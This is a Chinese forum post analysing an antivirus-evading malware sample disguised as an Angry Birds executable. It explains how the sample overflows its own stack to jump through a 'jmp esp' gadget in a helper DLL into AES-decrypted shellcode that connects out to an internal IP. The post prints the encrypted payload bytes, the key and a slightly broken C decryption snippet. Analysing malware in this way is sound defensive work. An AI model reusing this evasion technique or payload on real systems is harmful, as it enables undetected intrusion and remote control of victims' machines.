奇安信攻防社区-一个可以免杀国内主流杀软的恶意样本分析

一个可以免杀国内主流杀软的恶意样本分析

本文细探讨了一种能够免杀国内所有杀软的恶意程序及其取证过程，全程取证过程在vmware虚拟机里进行并隔离断网

目录下存在愤怒的小鸟.exe和fun.dll文件，最新版火绒，windows defender，腾讯电脑管家，360静态扫描都未发现恶意程序  
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/12/attach-d69550e97839beb6e1bd03aea245e0f8b5d6a20b.png)

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/12/attach-8d3fb73df0bad9716162c60466b86aa04a230f6e.png)  
动态执行，杀软也未拦截

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/12/attach-62ccb0cef13916f201fd346f4a646b7b110ecc17.png)  
上传到virustotal网站分析恶意程序，只有三个引擎检测出来

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/12/attach-be6ef33471e5b1d2675773779c147004628d5fcf.png)  
die分析恶意程序，未加壳，32位PE程序

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/12/attach-ff6c4ec96f3852c9fbede1e24563ffd3c201fab7.png)  
将恶意程序导入ida pro进行静态分析

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/12/attach-3d8438a09d0aea38c2bd01620528a866991178b1.png)  
程序主函数伪代码很少，没有常见恶意程序使用的函数，首先程序往v15变量里导入了2012个A字符

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/12/attach-7f6b73391d3c61340a44f8192a5f933422caaab6.png)  
然后定义了一个地址，通过查询，这个地址并未在当前程序中

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/12/attach-511684bf7798969ea6ae044cdc82f9830d67d96b.png)  
然后往v10变量里放入了很多0x90，0x90是汇编指令中的nop指令，NOP 指令（No Operation）是一种在计算机汇编语言中常见的指令，它的作用是不执行任何操作，即空操作

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/12/attach-31c9b3450c14309a7fc086027d79b4947a914c60.png)

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/12/attach-247df46671d1f52edfad8b10a082489b899743da.png)  
然后往pbData变量里传入了一串值，根据后面的分析，这一串值是解密shellcode的key

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/12/attach-c342f392363ec46b6405b80cab0d1699a01de1c5.png)

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/12/attach-185658a5573aab795f9496832d2a66879ce28ce7.png)  
v6，v8里的值就是payload

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/12/attach-72ac3a3480748aa1000110d88b6244f382fb930d.png)

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/12/attach-f03746f8378d22e5531579fbc770da9b50bf6549.png)  
这里程序调用了memcpy函数，拼接字符，并且是将payload拼接到了其中

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/12/attach-e735948630bcf7adaf7042d2ade6c4d478eb62e8.png)  
调用了\_\_i3b\_D2函数，将密钥和payload都导入了其中，是解密payload的函数

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/12/attach-8f1423dd047cdcfe56ab2d833726d874f4781aad.png)  
aes的解密方式，说明payload是经过aes加密过的

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/12/attach-f5b3df721628155841ca6ec74284d5e147d5e371.png)  
然后将一大串nop指令和payload用memcpy函数copy到指定的变量里，最后调用了Function函数

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/12/attach-551577d12ebd95521c4e31143048d643174d8539.png)  
只有一个strcpy函数

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/12/attach-ead5533894f7c06bc6ac960ec4d8f2c16c06d95a.png)  
程序主要的代码就这么多，还不知如何绕过杀软执行上线的

使用pe-bear分析程序

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/12/attach-35034f0383fa9f98498d9b9c836544e9245857ce.png)  
导入了四个dll库，其中ADVAPI32.DLL，KENNEL32.DLL，msvcrt.dll都是程序编译时，系统自动绑定的dll，只有fun.dll是第三方dll，用ida分析fun.dll

找到exe程序中定义的地址，是一个jmp esp指令

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/12/attach-65d088b323f93468c7ca682aab90485d8b05fb5a.png)  
这个dll的代码只有jmp esp这一个功能

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/12/attach-4237584cf1eaeca7570a8deb8bb6dcab21fbaedd.png)  
从程序里导出shellcode后解密

```php
#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <wincrypt.h>
#pragma comment (lib, "crypt32.lib")

void aes_de(char* code, DWORD codeLen, char* key, DWORD keyLen) {
    HCRYPTPROV hProv;
    HCRYPTHASH hHash;
    HCRYPTKEY hKey;

if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {

return;
    }
    if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {

return;
    }
    if (!CryptHashData(hHash, (BYTE*)key, keyLen, 0)) {

return;
    }
    if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {

return;
    }

if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)code, &codeLen)) {

return;
    }

CryptReleaseContext(hProv, 0);
    CryptDestroyHash(hHash);
    CryptDestroyKey(hKey);

}
int main(int argc, char *argv[]) {
  unsigned char payload[] = { 0xc1, 0x0, 0xfa, 0xed, 0x2, 0xda, 0xf5, 0xa6, 0xfb, 0xbc, 0xea, 0xe1, 0x48, 0xe0, 0xd2, 0x84, 0xaf, 0xe2, 0x42, 0xcd, 0x37, 0x43, 0xa5, 0xa9, 0x8c, 0x1e, 0xb7, 0xa5, 0x33, 0xc1, 0xde, 0x2c, 0x24, 0x84, 0xdf, 0x1c, 0xea, 0xcc, 0x34, 0xc4, 0x8, 0x56, 0xab, 0xa, 0xbf, 0xfc, 0x71, 0x25, 0x3, 0x41, 0x62, 0x28, 0x1a, 0xb5, 0x10, 0x39, 0xa2, 0xc4, 0xf5, 0x4e, 0x96, 0xb7, 0x66, 0x21, 0xb, 0x47, 0x74, 0x35, 0x2f, 0xd8, 0x25, 0xc6, 0xd0, 0x21, 0x77, 0x1b, 0xdc, 0xc6, 0xe8, 0xe8, 0x62, 0x5a, 0xe6, 0xe9, 0x31, 0xa, 0xff, 0xf2, 0x3f, 0xd1, 0x6, 0x9a, 0x62, 0x28, 0xf6, 0xec, 0xc8, 0x20, 0x4f, 0xe7, 0x6d, 0x82, 0x74, 0x84, 0xe2, 0xfa, 0xf, 0xff, 0x40, 0xcd, 0xea, 0x26, 0xa0, 0xe5, 0xcc, 0x7e, 0x67, 0x30, 0xa4, 0x21, 0xff, 0xcf, 0x79, 0xcb, 0xdc, 0xf0, 0x35, 0xa2, 0x6c, 0xc4, 0x54, 0xec, 0x4f, 0x94, 0xf, 0xdb, 0xb1, 0xb1, 0x60, 0x5e, 0x46, 0x87, 0xbf, 0x31, 0xc9, 0x30, 0xb6, 0xc6, 0xd4, 0x48, 0x0, 0x9a, 0x7f, 0x96, 0xdd, 0xa1, 0x15, 0xb9, 0xee, 0xd1, 0x91, 0x62, 0x5d, 0x98, 0xf6, 0x65, 0x37, 0xee, 0xce, 0x19, 0x16, 0x8f, 0x6d, 0xe2, 0x6f, 0x9f, 0xcb, 0x83, 0xd7, 0x2e, 0xdb, 0xcc, 0xae, 0x3e, 0xe, 0xad, 0x3c, 0xb0, 0xe3, 0x83, 0x9a, 0xac, 0xdd, 0x34, 0x2a, 0xa2, 0xe2, 0xee, 0xa1, 0x38, 0x81, 0xc, 0xb3, 0xfa, 0xfa, 0x71, 0x21, 0x7a, 0x2f, 0xb2, 0xa2, 0x57, 0xd, 0xaf, 0x37, 0xa4, 0x6d, 0x1f, 0x7f, 0x77, 0xb0, 0x7b, 0xdf, 0x68, 0xa, 0xe0, 0x35, 0xa7, 0xf0, 0x93, 0x0, 0xcf, 0x8e, 0x66, 0xc4, 0x32, 0xad, 0x9b, 0x4e, 0xdd, 0x4d, 0xb1, 0x11, 0xed, 0x56, 0x6b, 0x39, 0xe8, 0x57, 0xa7, 0x72, 0xf6, 0xb3, 0x95, 0xe0, 0x6a, 0xf2, 0x9f, 0x20, 0xfc, 0x41, 0xc5, 0xe7, 0x80, 0x7f, 0x1, 0x90, 0xaa, 0x13, 0xb2, 0xb4, 0xc, 0x74, 0xe5, 0x1f, 0x45, 0xdd, 0xc1, 0x34, 0x17, 0xb5, 0x1e, 0x84, 0x18, 0x4a, 0x9a, 0xbc, 0xc9, 0x8d, 0x54, 0xa1, 0x0, 0x57, 0xc, 0xc8, 0xec, 0x3a, 0xe8, 0x23, 0x65, 0x71, 0x7e, 0xeb, 0xc3, 0x46, 0x73, 0x6f, 0x50, 0xc7, 0x7d, 0x23, 0xe9, 0x25, 0x7a, 0xb2, 0x8f, 0x79, 0x7, 0xfd, 0xa4, 0x86, 0x90, 0xb5, 0xdc, 0xbb, 0x97, 0x2, 0xf7, 0xd4, 0x99, 0xfe, 0x1a, 0xc1, 0x9c, 0xd8, 0x8d, 0x88, 0xf, 0x34, 0xe6, 0xfc, 0xa0, 0xdb, 0x2d, 0x96, 0x14, 0xef, 0x11, 0xeb, 0x53, 0x17, 0x5d, 0x6b, 0x4c, 0xbd, 0xe8, 0xf5, 0x20, 0x31, 0x3e, 0x4e, 0x8c, 0xa1, 0xc8, 0xc7, 0x70, 0xbd, 0xdc, 0xa4, 0xc, 0x79, 0x29, 0x19, 0x1e, 0xb2, 0x7d, 0x6b, 0xbc, 0xb2, 0xed, 0xa2, 0xe9, 0x1f, 0x31, 0x3c, 0xd2, 0xb0, 0x43, 0xec, 0xe4, 0x46, 0x42, 0x3c, 0xe3, 0x25, 0xa9, 0xda, 0x34, 0xa2, 0xbb, 0xf7, 0x9d, 0x32, 0x57, 0xdf, 0xd7, 0xcf, 0xfc, 0x9, 0x10, 0x9, 0x6, 0x4b, 0xf6, 0x2, 0xf8, 0xed, 0x5c, 0x45, 0x15, 0x8b, 0x61, 0x61, 0x65, 0x9d, 0x58, 0x27, 0xe8, 0xe3, 0x22, 0xbb, 0x2e, 0x1e, 0x94, 0x7f, 0xa4, 0xe2, 0x36, 0x41, 0x2d, 0x24, 0xb, 0x40, 0x29, 0xf6, 0x24, 0x1e, 0xf8, 0xe8, 0xb0, 0xf5, 0x45, 0xb7, 0xd9, 0x69, 0x52, 0xae, 0xae, 0xa1, 0xb1, 0xec, 0x97, 0x78, 0x5b, 0x9b, 0x3c, 0x7e, 0xe6, 0xbf, 0xb, 0x86, 0x7, 0xee, 0xfb, 0xe9, 0xfb, 0xc, 0xdf, 0xa7, 0xda, 0xdb, 0x99, 0xa7, 0xc, 0x72, 0x4f, 0x11, 0xd7, 0x11, 0xf0, 0x18, 0x86, 0x4e, 0x3a, 0x2b, 0x1d, 0x3d, 0x39, 0xab, 0xe9, 0xc, 0xde, 0xc7, 0xf0, 0x50, 0x8, 0xbd, 0x83, 0x32, 0xda, 0x85, 0x45, 0x15, 0x60, 0x63, 0xeb, 0xb3, 0xa6, 0x2f, 0x22, 0x7c, 0xb3, 0x87, 0xfc, 0xf0, 0xad, 0xd, 0x4e, 0x46, 0xa9, 0x68, 0xd3, 0xc9, 0xd4, 0x47, 0xf7, 0xbc, 0xee, 0x29, 0xc6, 0x3f, 0x68, 0x1d, 0xab, 0x32, 0x0, 0x9, 0x6f, 0xc0, 0xf5, 0x86, 0xe1, 0xc1, 0x7d, 0x51, 0x4b, 0xe5, 0xce, 0x76, 0x4b, 0x84, 0x6b, 0x71, 0xc6, 0x0, 0x9c, 0xe0, 0x7c, 0x19, 0xc5, 0x7a, 0xa8, 0xfb, 0x5f, 0x56, 0x31, 0x67, 0xf1, 0x72, 0x48, 0xf5, 0x19, 0xd4, 0xc7, 0xb7, 0xec, 0xe2, 0x60, 0xf, 0x65, 0x18, 0x7e, 0x7b, 0xd1, 0x24, 0xd8, 0x19, 0xb4, 0x6b, 0x5f, 0xab, 0x67, 0x4, 0xeb, 0x46, 0x3e, 0x55, 0xcf, 0xa1, 0xf, 0xa8, 0xd0, 0xef, 0xd8, 0xa1, 0x9, 0xd1, 0xca, 0x59, 0x92, 0x46, 0x2d, 0xc7, 0xd7, 0x90, 0xe, 0x36, 0x98, 0x20, 0x87, 0x47, 0xfe, 0x3d, 0x59, 0x24, 0x41, 0x4b, 0x6e, 0x73, 0x78, 0x86, 0xb8, 0xed, 0x9a, 0x46, 0xb9, 0x4d, 0xf1, 0x7a, 0xc4, 0xc2, 0x32, 0x71, 0xfa, 0x1c, 0xd7, 0xd9, 0xa3, 0x38, 0x48, 0xe6, 0xab, 0x5e, 0x1f, 0x93, 0x4b, 0xa6, 0x57, 0xd3, 0x8e, 0x20, 0x17, 0x79, 0x34, 0xc5, 0x35, 0xcc, 0xa5, 0xa9, 0x2c, 0x1a, 0x7f, 0xc3, 0x89, 0xfb, 0x66, 0xd7, 0x8e, 0x1b, 0xaf, 0xea, 0x0, 0x28, 0xa9, 0xdc, 0x1b, 0x18, 0xca, 0xb8, 0x78, 0x45, 0x31, 0x4c, 0x53, 0xfd, 0x78, 0x79, 0x89, 0xd8, 0x99, 0x3b, 0x1b, 0xf6, 0x65, 0xf6, 0x44, 0xf7, 0x39, 0x6c, 0x48, 0xb0, 0x5e, 0x48, 0xb0, 0xbe, 0x32, 0xc1, 0xb1, 0x17, 0x2a, 0x51, 0x6e, 0x9f, 0x8d, 0xe7, 0x3a };
  unsigned char key[] = { 0xed, 0x39, 0x56, 0x67, 0xcd, 0x62, 0xf7, 0x91, 0x62, 0xb, 0x85, 0x53, 0x9b, 0x17, 0xae, 0xc9 };
  DWORD code_length = sizeof(payload);
  aes_de((char*)code, code_length, key, sizeof(key));
  printf(payload);
```

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/12/attach-dc20c874e0cc9e9f605c6ba6fbcac207365d6e70.png)  
使用scdbg分析shellcode，发现shellcode外连了一个ip，192.168.85.128，端口为8011，根据上面的浏览器http流量头，可以知道恶意程序使用的payload是msf或者cs生成的http payload

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/12/attach-d9510e3bc24668be70204856f83f88fb0ed6a41f.png)  
动态分析exe，使用System Informer监听后台，发现程序并没有启动其他的子程序

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/12/attach-ed3228e52ecfd02fb3dff9fb3798eaf03eb65581.png)  
执行程序，在0x62501443地址处打一个断点

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/12/attach-ebb604301150d8bc66acc4f33b4adf32d969e595.png)  
用xdbg调试程序，运行到程序入口处

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/12/attach-1afc524b82c108b378285dd11fddc97ea45cfc49.png)  
F8一步一步查看程序，在下面程序跳转到了0x401658地址处

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/12/attach-f633fdd3e443b7272fd996f2ab3519352aa7eb07.png)  
在执行了memset函数时，堆栈里都被A覆盖了

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/12/attach-3b623278c7e704e643251b23e8f654b228fbdced.png)  
这里本来是要跳转到0x4017c6地址处的，但是直接跳转到了jmp esp指令地址处，程序被栈溢出后控制了返回地址

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/12/attach-7f1fdada3e0d8c26c772c84aa423bb2c4182d166.png)

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/12/attach-feca5021053b328ccda47451b7123316e2fd815b.png)  
执行jmp esp后，首先是一长串的NOP指令

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/12/attach-e74c2e6bfe4938c253f53e48032b992d0e76cd00.png)  
nop指令后面的就是aes解密后的payload指令

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/12/attach-b17f68cfc20c03e564c2faef2aea9f18fcbc8d78.png)  
现在知道了程序的执行流，恶意程序设置了一个存在栈溢出的函数，然后用strcpy函数触发栈溢出攻击，将jmp esp指令放到dll库里是为了固定指令地址，在不同环境上稳定运行，这里放上一个程序执行流程图

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/12/attach-845fe57983fa81b437d02e8585f39acadc699454.png)  
通过流量监控，也找到恶意程序外连ip 192.168.85.128 端口8011

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/12/attach-300c1175731dfb8a9244b5386098bcd06cf28992.png)  
scdbg工具下载地址：

```php
http://sandsprite.com/blogs/index.php?uid=7&pid=152
```

发表于 2025-01-08 09:30:01
阅读 ( 2296 )
分类：二进制

3 条评论

destroylq 2025-04-21 10:55

解密的shellcode在栈上，栈区不可执行，文章中没看到咋解决的，能说一下吗

cxaqhq 2025-01-14 18:03

相当于没有直接调用函数执行

cxaqhq 2025-01-14 18:04

好奇不同操作系统上溢出之后的地址是一样的吗？Linux 有地址随机化啥的，Widnows上呢？